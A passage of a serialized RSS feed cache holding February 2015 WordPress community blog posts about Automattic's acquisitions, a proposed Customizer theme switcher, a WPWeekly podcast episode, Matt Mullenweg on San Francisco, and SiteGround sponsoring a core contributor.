title=\"http://techcrunch.com/2013/06/17/automattic-acquires-ios-wordpress-client-poster-to-improve-its-own-mobile-apps/\" href=\"http://techcrunch.com/2013/06/17/automattic-acquires-ios-wordpress-client-poster-to-improve-its-own-mobile-apps/\">acquired in 2013</a>. After the acquisition, the app was removed from the App Store and Witkin joined the mobile team at Automattic.</p>\n<p>Frederic Lardinois, who <a title=\"http://techcrunch.com/2013/06/17/automattic-acquires-ios-wordpress-client-poster-to-improve-its-own-mobile-apps/\" href=\"http://techcrunch.com/2013/06/17/automattic-acquires-ios-wordpress-client-poster-to-improve-its-own-mobile-apps/\">wrote about the news</a> on TechCrunch, described the app as, &#8220;one of the most elegant and smarter mobile WordPress clients.&#8221; The WordPress mobile apps continue to get better, but it&#8217;s unclear which improvements have been influenced by Witkin or Poster.</p>\n<h2>Lean Domain Search</h2>\n<p><a href=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2013/07/LeanDomainSearchLogo.jpg\" rel=\"prettyphoto[38863]\"><img class=\"alignright size-full wp-image-7919\" src=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2013/07/LeanDomainSearchLogo.jpg?resize=259%2C51\" alt=\"Lean Domain Search Logo\" /></a><a title=\"http://www.leandomainsearch.com/\" href=\"http://www.leandomainsearch.com/\">Lean Domain Search </a>is a service that allows users to find and register domain names. One of its signature features is the domain name generator which suggests domains based on a word or phrase. Lean Domain Search was created by Matt Mazur in 2012 and <a title=\"http://www.leandomainsearch.com/blog/45-lean-domain-search-acquired-by-automattic\" href=\"http://www.leandomainsearch.com/blog/45-lean-domain-search-acquired-by-automattic\">acquired in 2013.</a> When users find a domain they like, Lean Domain Search provides an option to register it and create a new blog on WordPress.com. Thanks to the acquisition, the service is still available and free to use.</p>\n<a href=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/LeanDomainSearchResults.png\" rel=\"prettyphoto[38863]\"><img class=\"size-full wp-image-38882\" src=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/LeanDomainSearchResults.png?resize=996%2C761\" alt=\"Lean Domain Search Results\" /></a>Lean Domain Search Results\n<p>&nbsp;</p>\n<h2>Cloudup</h2>\n<p><a href=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2013/12/cloudup.png\" rel=\"prettyphoto[38863]\"><img class=\"alignright wp-image-12353 size-thumbnail\" src=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2013/12/cloudup.png?resize=150%2C150\" alt=\"cloudup\" /></a><a title=\"https://cloudup.com/\" href=\"https://cloudup.com/\">Cloudup</a> is a free file-sharing service founded by Thianh Lu and Guillermo Rauch in 2010 and <a title=\"http://ma.tt/2013/09/automattic-cloudup/\" href=\"http://ma.tt/2013/09/automattic-cloudup/\">acquired in 2013</a>. <a title=\"http://techcrunch.com/2013/09/25/automattic-acquires-file-sharing-service-cloudup-to-build-faster-media-library-and-enable-co-editing/\" href=\"http://techcrunch.com/2013/09/25/automattic-acquires-file-sharing-service-cloudup-to-build-faster-media-library-and-enable-co-editing/\">According to TechCrunch</a>, the acquisition was supposed to help Automattic improve two particular features on WordPress.com. The media library used for uploading visual content and co-editing to give multiple users the ability to edit a post at the same time.</p>\n<p>Immediately following the deal, the team was tasked with revamping the post editor and replacing the media library on WordPress.com with Cloudup. Although Cloudup has <a title=\"https://cloudup.com/blog\" href=\"https://cloudup.com/blog\">continued to add new features</a>, it has yet to replace the media library or add the ability to edit posts at the same on WordPress.com.</p>\n<h2>Longreads</h2>\n<p><a href=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2014/04/longreads.jpg\" rel=\"prettyphoto[38863]\"><img class=\"alignright size-medium wp-image-20743\" src=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2014/04/longreads.jpg?resize=300%2C95\" alt=\"longreads\" /></a><a title=\"http://longreads.com/\" href=\"http://longreads.com/\">Longreads</a> is dedicated to finding and sharing the best long-form stories on the web. Longreads was founded by Mark Armstrong in 2009 and <a title=\"http://en.blog.wordpress.com/2014/04/09/longreads-joins-automattic/\" href=\"http://en.blog.wordpress.com/2014/04/09/longreads-joins-automattic/\">acquired in 2014. </a>Longreads operates under a paid subscription model with plans ranging from $3-5 per month.</p>\n<h2>Scroll Kit</h2>\n<p><a href=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2014/04/scroll-kit.png\" rel=\"prettyphoto[38863]\"><img class=\"alignright size-medium wp-image-21768\" src=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2014/04/scroll-kit.png?resize=300%2C158\" alt=\"scroll-kit\" /></a> <a title=\"http://www.scrollkit.com/\" href=\"http://www.scrollkit.com/\">Scroll Kit</a> allowed users to create web pages without writing a line of code using a powerful visual editor. It made headlines when co-founder, Cody Brown, <a title=\"http://techcrunch.com/2013/05/21/snow-fail-the-new-york-times-and-its-misunderstanding-of-copyright/\" href=\"http://techcrunch.com/2013/05/21/snow-fail-the-new-york-times-and-its-misunderstanding-of-copyright/\">recreated the famous Snow Fall piece</a> from the New York Times. Brown said he made the replica site in only an hour, &#8220;The New York Times spent hundreds of hours hand-coding &#8216;Snow Fall.&#8217; We made a replica in an hour.&#8221;</p>\n<p>Founded by Kate Ray and Cody Brown, <a title=\"http://www.scrollkit.com/\" href=\"http://www.scrollkit.com/\">Scroll Kit</a> was <a title=\"http://ma.tt/2014/04/scrollkit-and-longreads-at-automattic/\" href=\"http://ma.tt/2014/04/scrollkit-and-longreads-at-automattic/\">acquired in 2014</a>. According to an announcement on the <a title=\"http://www.scrollkit.com/\" href=\"http://www.scrollkit.com/\">Scroll Kit website</a>, Ray and Brown joined the WordPress.com product team. Scroll Kit shut down its service and users had three months to export their content. I&#8217;ve never used Scroll Kit, so it&#8217;s hard to determine what improvements are influenced by Ray and Brown. <a title=\"http://wptavern.com/automattic-snaps-up-scroll-kit-to-add-to-the-wordpress-com-product-team\" href=\"http://wptavern.com/automattic-snaps-up-scroll-kit-to-add-to-the-wordpress-com-product-team\">We questioned</a> whether Scroll Kit&#8217;s editor would be added to the theme editing experience on WordPress.com. As a WordPress.com user, I haven&#8217;t noticed any major changes to the theme editing experience since the acquisition.</p>\n<h2>Parka</h2>\n<p><a href=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2013/07/bruteforcelogo.jpg\" rel=\"prettyphoto[38863]\"><img class=\"alignright size-full wp-image-7693\" src=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2013/07/bruteforcelogo.jpg?resize=228%2C219\" alt=\"Brute Protect Logo\" /></a><a title=\"http://getparka.com/\" href=\"http://getparka.com/\">Parka</a> is the parent company of <a title=\"https://bruteprotect.com/\" href=\"https://bruteprotect.com/\">BruteProtect,</a> a service that provides brute force login protection for thousands of sites. Parka was established in 2013 by Sam Hotchkiss and <a title=\"http://jetpack.me/2014/08/26/automattic-bruteprotect/\" href=\"http://jetpack.me/2014/08/26/automattic-bruteprotect/\">acquired in 2014. </a>All seven Parka employees joined Automattic and are part of the Jetpack development team.</p>\n<p>As part of the acquisition, <a title=\"https://my.bruteprotect.com/\" href=\"https://my.bruteprotect.com/\">BruteProtect pro</a> services became free to use. BruteProtect is undergoing a transformation as it&#8217;s merged into Jetpack as a module. Merging with Jetpack will give millions of sites free brute force login protection making the web a safer place.</p>\n<h2>Code For The People</h2>\n<p><a href=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/CodeForThePeopleLogo.png\" rel=\"prettyphoto[38863]\"><img class=\"alignright wp-image-38941 size-full\" src=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/CodeForThePeopleLogo.png?resize=270%2C132\" alt=\"CodeForThePeopleLogo\" /></a><a title=\"http://codeforthepeople.com/\" href=\"http://codeforthepeople.com/\">Code For The People</a> is a WordPress development agency based in the United Kingdom and a long time partner of the <a title=\"http://vip.wordpress.com/\" href=\"http://vip.wordpress.com/\">WordPress.com VIP program</a>. Founded by Simon Dickson and Simon Wheatley, Code For The People was <a title=\"http://wptavern.com/automattic-acquires-code-for-the-people-expands-wordpress-com-vips-reach-into-european-markets\" href=\"http://wptavern.com/automattic-acquires-code-for-the-people-expands-wordpress-com-vips-reach-into-european-markets\">acquired in 2014. </a>All six employees joined Automattic and will help out the VIP team during European hours.</p>\n<p>This acquisition is historic for two reasons. The first is that CTFP is the first WordPress development agency to be acquired by Automattic. Second, CFTP employee John Blackbourn was leading<a title=\"http://wptavern.com/meet-john-blackbourn-wordpress-4-1-release-lead\" href=\"http://wptavern.com/meet-john-blackbourn-wordpress-4-1-release-lead\"> the development cycle for WordPress 4.1</a> when the acquisition occurred, turning him into an Automattic employee.</p>\n<p>In addition to talent, they also obtained CFTP’s <a href=\"http://babbleplugin.com/\" target=\"_blank\">Babble</a> plugin, an open source multilingual tool, that will continue to be maintained by Automattic. According to <a title=\"http://techcrunch.com/2014/11/06/automattic-buys-uks-code-for-the-people-to-build-out-its-wordpress-vip-enterprise-business/\" href=\"http://techcrunch.com/2014/11/06/automattic-buys-uks-code-for-the-people-to-build-out-its-wordpress-vip-enterprise-business/\">TechCrunch</a>, Mullenweg says Babble was a key part of the deal.</p>\n<h2>Thoughts and Observations</h2>\n<p>While going through the list of acquisitions Automattic has made over the years, a few things occurred to me. For all the great talent Automattic has acquired, it&#8217;s difficult to determine an individual&#8217;s influence on WordPress.com products. For instance, as an individual, Tom Witkin created an awesome mobile app for WordPress. Since being acquired, I can&#8217;t tell which improvements in the <a title=\"https://apps.wordpress.org/\" href=\"https://apps.wordpress.org/\">WordPress for iOS app</a> are the result of his work.</p>\n<p>Whether it&#8217;s due to time, difficulty, or other factors, certain items in some of the acquisition announcements have failed to materialize. A good example is the Cloudup acquisition. Nearly two years after the deal happened, WordPress.com and the self-hosted version still lack the ability to co-edit a post at the same time. There&#8217;s also no improvements to the media library I can trace back to the Cloudup team. It&#8217;s unclear if these are items still on the priority list or if they&#8217;ve been discarded.</p>\n<p>Another thing I noticed is that I didn&#8217;t recognize most of the businesses, products, and services acquired until after the acquisition announcement was published. It indicates Mullenweg has his eye on up and coming properties doing awesome things in the space. Unfortunately, in some instances, it means the product or service is shut down by Automattic eliminating any opportunity to use it. Poster, Blo.gs, and Scroll Kit immediately come to mind as things I&#8217;ll never  have the chance to use.</p>\n<p>I hope you enjoyed this trip down memory lane. We&#8217;re at the beginning of a new year and with <a title=\"http://recode.net/2014/05/05/wordpress-parent-automattic-has-raised-160-million-now-valued-at-1-16-billion-post-money/\" href=\"http://recode.net/2014/05/05/wordpress-parent-automattic-has-raised-160-million-now-valued-at-1-16-billion-post-money/\">Automattic raising $160M in 2014</a>, it&#8217;s only a matter of time before we read about the next acquisition. Who or what do you think the company will acquire next?</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Fri, 13 Feb 2015 03:55:39 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Jeff Chandler\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:7;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:73:\"WPTavern: Customizer Theme Switcher Officially Proposed for WordPress 4.2\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38876\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:83:\"http://wptavern.com/customizer-theme-switcher-officially-proposed-for-wordpress-4-2\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:2720:\"<p>This week, Nick Halsey officially <a href=\"https://make.wordpress.org/core/2015/02/11/customizer-theme-switcher-feature-plugin-merge-proposal/\" target=\"_blank\">proposed</a> the Customizer Theme Switcher feature plugin for merge into WordPress 4.2. Halsey summarizes the goal of bringing theme switching into the customizer: &#8220;By integrating themes directly into the Customizer, live-previewing workflows are greatly simplified, and the relationship between themes and theme/site options is clarified for the user,&#8221; he said.</p>\n<p>Halsey explained that the new UI is part of a long-term plan to move all the &#8220;Appearance&#8221; functionality into the customizer. &#8220;The future roadmap includes <a href=\"https://wordpress.org/plugins/menu-customizer\">Menus</a>, Theme-Install, and iterations on widgets that would allow the customizer to entirely replace those admin screens for most users,&#8221; he said.</p>\n<p>His proposal includes a video that demonstrates how a user might scroll through the customizer to browse and preview available themes.</p>\n<p><span class=\"embed-youtube\"></span></p>\n<p>It&#8217;s important to note that if this feature plugin is cleared for merge, users will not have to search for and install themes from the narrow customizer pane. The Customizer Theme Switcher is intended for previewing and activating themes that have already been installed. Contributors on the project are proposing that WordPress 4.2 redirect the &#8220;Themes&#8221; link that appears in the frontend admin bar to the customizer, instead of the backend.</p>\n<p>In the future, Halsey plans to integrate theme installation into the customizer, but this is a larger effort that will be added to the project in a later release. Coming up with a UI that doesn&#8217;t make this a cramped and inconvenient experience is going to be a challenge.</p>\n<p>For more technical details on the proposed core changes and merge implementation, check out Halsey&#8217;s post on the <a href=\"https://make.wordpress.org/core/2015/02/11/customizer-theme-switcher-feature-plugin-merge-proposal/\" target=\"_blank\">Make/Core blog</a>. If you want to test out the new UI for theme switching, you can download the <a href=\"https://wordpress.org/plugins/customizer-theme-switcher/\" target=\"_blank\">Customizer Theme Switcher</a> plugin from WordPress.org.</p>\n<p>The feature plugin merge window will be closing the week of February 25th, and the official release is <a href=\"https://make.wordpress.org/core/version-4-2-project-schedule/\" target=\"_blank\">targeted for the week of April 22nd</a>. Updates on whether or not the Customizer Theme Switcher is approved for merge will be available within the next few weeks.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Thu, 12 Feb 2015 21:04:05 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Sarah Gooding\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:8;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:85:\"WPTavern: WPWeekly Episode 179 – Interview With James Laws, Co-founder of WP Ninjas\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:44:\"http://wptavern.com?p=38913&preview_id=38913\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:90:\"http://wptavern.com/wpweekly-episode-179-interview-with-james-laws-co-founder-of-wp-ninjas\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:3285:\"<p>In this episode of WordPress Weekly, <a title=\"http://marcuscouch.com/\" href=\"http://marcuscouch.com/\">Marcus Couch</a> and I are joined by the co-founder of <a title=\"http://wpninjas.com/\" href=\"http://wpninjas.com/\">WP Ninjas</a>, <a title=\"http://jameslaws.com/\" href=\"http://jameslaws.com/\">James Laws</a>. WP Ninjas specializes in WordPress plugins such as <a title=\"http://ninjaforms.com/\" href=\"http://ninjaforms.com/\">Ninjas Forms</a> and <a title=\"http://ninjademo.com/\" href=\"http://ninjademo.com/\">Ninja Demo</a>.</p>\n<p>In the show, Laws explains the origins of the business and why he decided to enter the forms market despite GravityForms being a popular choice among WordPress developers. He shares some of the mistakes he made early on such as competing based on price and offering a one time purchase price. Near the end of the interview, we find out what the future holds for both products.</p>\n<h2>Stories Discussed:</h2>\n<p><a title=\"http://wptavern.com/initiative-aims-to-improve-the-new-user-experience-in-wordpress-4-2\" href=\"http://wptavern.com/initiative-aims-to-improve-the-new-user-experience-in-wordpress-4-2\">Initiative Aims to Improve the New User Experience in WordPress 4.2</a><br />\n<a title=\"http://wptavern.com/the-first-conference-dedicated-to-wordpress-com-debuts-on-march-28th-in-portland-or\" href=\"http://wptavern.com/the-first-conference-dedicated-to-wordpress-com-debuts-on-march-28th-in-portland-or\">The First Conference Dedicated to WordPress.com Debuts on March 28th in Portland, OR</a><br />\n<a title=\"http://wptavern.com/wp-rocket-grows-from-0-to-35k-in-monthly-revenue\" href=\"http://wptavern.com/wp-rocket-grows-from-0-to-35k-in-monthly-revenue\">WP Rocket Grows From $0 to $35K in Monthly Revenue</a></p>\n<h2>Plugins Picked By Marcus:</h2>\n<p><a title=\"https://wordpress.org/plugins/adminrocket/\" href=\"https://wordpress.org/plugins/adminrocket/\">AdminRocket</a> allows you to customize the WordPress backend with custom themes, dashboard widgets, and your own settings.</p>\n<p><a title=\"https://wordpress.org/plugins/seo-enforcer/\" href=\"https://wordpress.org/plugins/seo-enforcer/\">SEO Enforcer</a> is a small plugin that works with WordPress SEO by Yoast (it&#8217;s required), that will truncate your title or meta description tags if they&#8217;re too long.</p>\n<p><a title=\"https://wordpress.org/plugins/disable-wp-registration-page/\" href=\"https://wordpress.org/plugins/disable-wp-registration-page/\">Disable WP Registration Page</a> disables the default WordPress registration page by redirecting users who access the registration page URL to the default WordPress login page.</p>\n<p><strong>Next Episode:</strong> Wednesday, February 18th 9:30 P.M. Eastern</p>\n<p><strong>Subscribe To WPWeekly Via Itunes: </strong><a href=\"https://itunes.apple.com/us/podcast/wordpress-weekly/id694849738\" target=\"_blank\">Click here to subscribe</a></p>\n<p><strong>Subscribe To WPWeekly Via RSS: </strong><a href=\"http://www.wptavern.com/feed/podcast\" target=\"_blank\">Click here to subscribe</a></p>\n<p><strong>Subscribe To WPWeekly Via Stitcher Radio: </strong><a href=\"http://www.stitcher.com/podcast/wordpress-weekly-podcast?refid=stpr\" target=\"_blank\">Click here to subscribe</a></p>\n<p><strong>Listen To Episode #179:</strong><br />\n</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Thu, 12 Feb 2015 20:13:36 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Jeff Chandler\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:9;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:54:\"Matt: What I Miss and Don’t Miss About San Francisco\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:21:\"http://ma.tt/?p=44012\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:38:\"http://ma.tt/2015/02/left-my-heart-in/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:5012:\"<p>A few months ago I was chatting with <a href=\"http://www.borthwick.com/weblog/\">John Borthwick</a>, who had just returned from a trip to San Francisco. I asked him how the city was doing as if he were a traveler who had visited someplace exotic &#8212; &#8220;How is it <em>over there</em>?&#8221; (As an investor he probably sees the crazier side of the city, since part of his job is looking at hundreds of companies, the vast majority of which will fail, and trying to pick a few winners.)</p>\n<p>Despite getting near-daily meeting requests, I don&#8217;t currently have any plans to visit San Francisco. I was there in June for a few days for Foo Camp and for drinks with <a href=\"http://www.tommarioni.com/\">the artist Tom Marioni</a>. I returned for <a href=\"http://2014.sf.wordcamp.org/\">WordCamp San Francisco in October</a>, and again a few weeks ago for <a href=\"http://scobleizer.com/\">Scoble&#8217;s</a> 50th birthday party and a board meeting. But the couple-times-a-year rhythm seems to be enough for me. I&#8217;m enjoying the distance a bit, in fact.</p>\n<p>There has been plenty written about the bubble culture in SF right now, including on <a href=\"http://www.sfgate.com/bayarea/article/Is-the-antitech-movement-obsolete-6067623.php\">the antitech movement that never really took off</a>. <a href=\"http://ma.tt/2013/03/evolution-of-san-francisco/\">It&#8217;s a topic I already blogged about in 2013</a>. But I was curious to unpack my own thoughts about being away from it all.</p>\n<p>What I don&#8217;t miss:</p>\n<ul>\n<li>Too many meetings &#8212; every possible company is there, and everyone wants to meet.</li>\n<li>High prices for everything, from groceries to cocktails. Not even going to talk <a href=\"http://ma.tt/2014/12/how-paul-graham-is-wrong/\">about the real estate market and rentals</a>.</li>\n<li>It takes forever to get across the city, even though it&#8217;s only 7 miles.</li>\n<li>The public transit, while workable, pales in comparison to other places like NYC.</li>\n<li>The weather isn&#8217;t bad, until you drive to Palo Alto or Marin and notice how much nicer it is there. (Or take a one-hour flight to Los Angeles or San Diego.)</li>\n<li>This is anecdotal, but I feel like cell phone service is terrible, especially for making calls. Calls are unintelligible and drop frequently. I think this is why everyone texts.</li>\n</ul>\n<p>I don&#8217;t have any problem with the social scene; SF might be tech-heavy, but it&#8217;s fairly easy to get out of the tech bubble. Many forget that San Francisco is home to a ton of people working for non-profits, in fashion, finance, bio-tech, art, and music.</p>\n<p>What I miss, deeply: <strong>the people.</strong> Some of my favorite people, professionally and personally, are in the Bay Area, and that&#8217;s the thing that will draw me back someday. I&#8217;m lucky that I can catch up with folks when they travel, like <a href=\"http://janekim.org/\">Jane</a> or <a href=\"http://tonyconrad.wordpress.com/\">Tony</a> in New York or <a href=\"http://om.co/\">Om</a> in Italy. Of course the Automattic headquarters is there, along with some great colleagues, but I can also catch up with them at meetups.</p>\n<p>I miss how much <strong>technology permeates the culture</strong> there, from billboards to services like Uber or <a href=\"https://postmates.com/\">Postmates</a> (or <a href=\"https://munchery.com/\">Munchery</a> or <a href=\"https://www.spoonrocket.com/\">Spoonrocket</a>) that today seem like conveniences, but will be the basis of something very meaningful down the line. You can feel like you&#8217;re living in the future there. Internet speeds seem to be getting better, too &#8212;  local ISPs like <a href=\"https://webpass.net/\">Webpass</a> and <a href=\"https://www.monkeybrains.net/\">Monkeybrains</a> are leading the way, but even my Comcast account there delivers 120mbps.</p>\n<p>I miss being able to run along the water, and the close proximity to lots of beautiful nature areas (granted I didn&#8217;t take much advantage of those when I was still around). The quality of light is really nice &#8212; when you can see it. Restaurants, though tending toward pricey, offer great ingredients and quality.</p>\n<p>Finally, you can&#8217;t deny it&#8217;s a city of hustlers. This tweet has since been deleted, but you get the idea:</p>\n<blockquote class=\"twitter-tweet\" width=\"550\"><p><a href=\"https://twitter.com/photomatt\">@photomatt</a> Can we interest you in any lemonade? Or what about a quick meeting at <a href=\"https://twitter.com/CoupaCafe\">@CoupaCafe</a> in <a href=\"https://twitter.com/hashtag/paloalto?src=hash\">#paloalto</a> <a href=\"http://t.co/ExoxtXHu38\">pic.twitter.com/ExoxtXHu38</a></p>\n<p>&mdash; Closetclicks (@closetclicks) <a href=\"https://twitter.com/closetclicks/statuses/500345852352008193\">August 15, 2014</a></p></blockquote>\n<p></p>\n<p><img class=\"wp-image-44687 size-full\" src=\"http://i0.wp.com/ma.tt/files/2015/02/closetclicks_2015-Feb-11.jpg?resize=604%2C453\" alt=\"\" /></p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Thu, 12 Feb 2015 20:10:40 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:4:\"Matt\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:10;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:71:\"WPTavern: SiteGround Sponsors a Full-Time Contributor to WordPress Core\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38870\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:81:\"http://wptavern.com/siteground-sponsors-a-full-time-contributor-to-wordpress-core\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:4217:\"<p><a href=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/siteground-offices.jpg\" rel=\"prettyphoto[38870]\"><img src=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/siteground-offices.jpg?resize=720%2C352\" alt=\"siteground-offices\" class=\"aligncenter size-full wp-image-38896\" /></a></p>\n<p><a href=\"https://profiles.wordpress.org/iseulde\" target=\"_blank\">Iseulde Van Dorpe</a> is joining <a href=\"https://www.siteground.com/\" target=\"_blank\">SiteGround</a> to work full-time as a contributor to WordPress core. She expects to work on a variety of different tasks, particularly those that relate to media and the editing experience. Van Dorpe&#8217;s recent core contributions helped to improve the editor for users in the 4.0 release.</p>\n<blockquote class=\"twitter-tweet\" width=\"550\"><p>There are many WordPress 4.0 standouts, but <a href=\"https://twitter.com/avryl\">@avryl</a> took my editor sizing/scrolling idea and ran with it. Turned it into something *magical*.</p>\n<p>&mdash; Mark Jaquith  (@markjaquith) <a href=\"https://twitter.com/markjaquith/status/507580649536880640\">September 4, 2014</a></p></blockquote>\n<p></p>\n<p>SiteGround identified and selected its new contributor based on recommendations from others involved in core development. &#8220;In search of developing our WordPress involvement even further, we made some inquiries as to what is most needed by the project at the moment,&#8221; said Tina Kesova, VP of Strategic Partnerships at SiteGround.</p>\n<p>&#8220;The answer we received was that front-end and Javascript specialists will be very valuable. A recommendation for Iseulde’s work in this field was also received from several key WordPress people, who have been impressed with the things she has done for the last year since she first started contributing on a volunteer basis,&#8221; she said.</p>\n<p>For the past five years, SiteGround has been actively involved with supporting the project by sponsoring community events, dedicating employees to help with event orgranization, and sending speakers to share their knowledge at WordCamps around the world.</p>\n<p>&#8220;We also already have a great relationship with Mario Peshev, who is contributing to the core on a part-time basis sponsored by our company,&#8221; Kesova said. This experience helped with the company&#8217;s decision to sponsor Van Dorpe as a full-time contributor.</p>\n<p>&#8220;What truly won 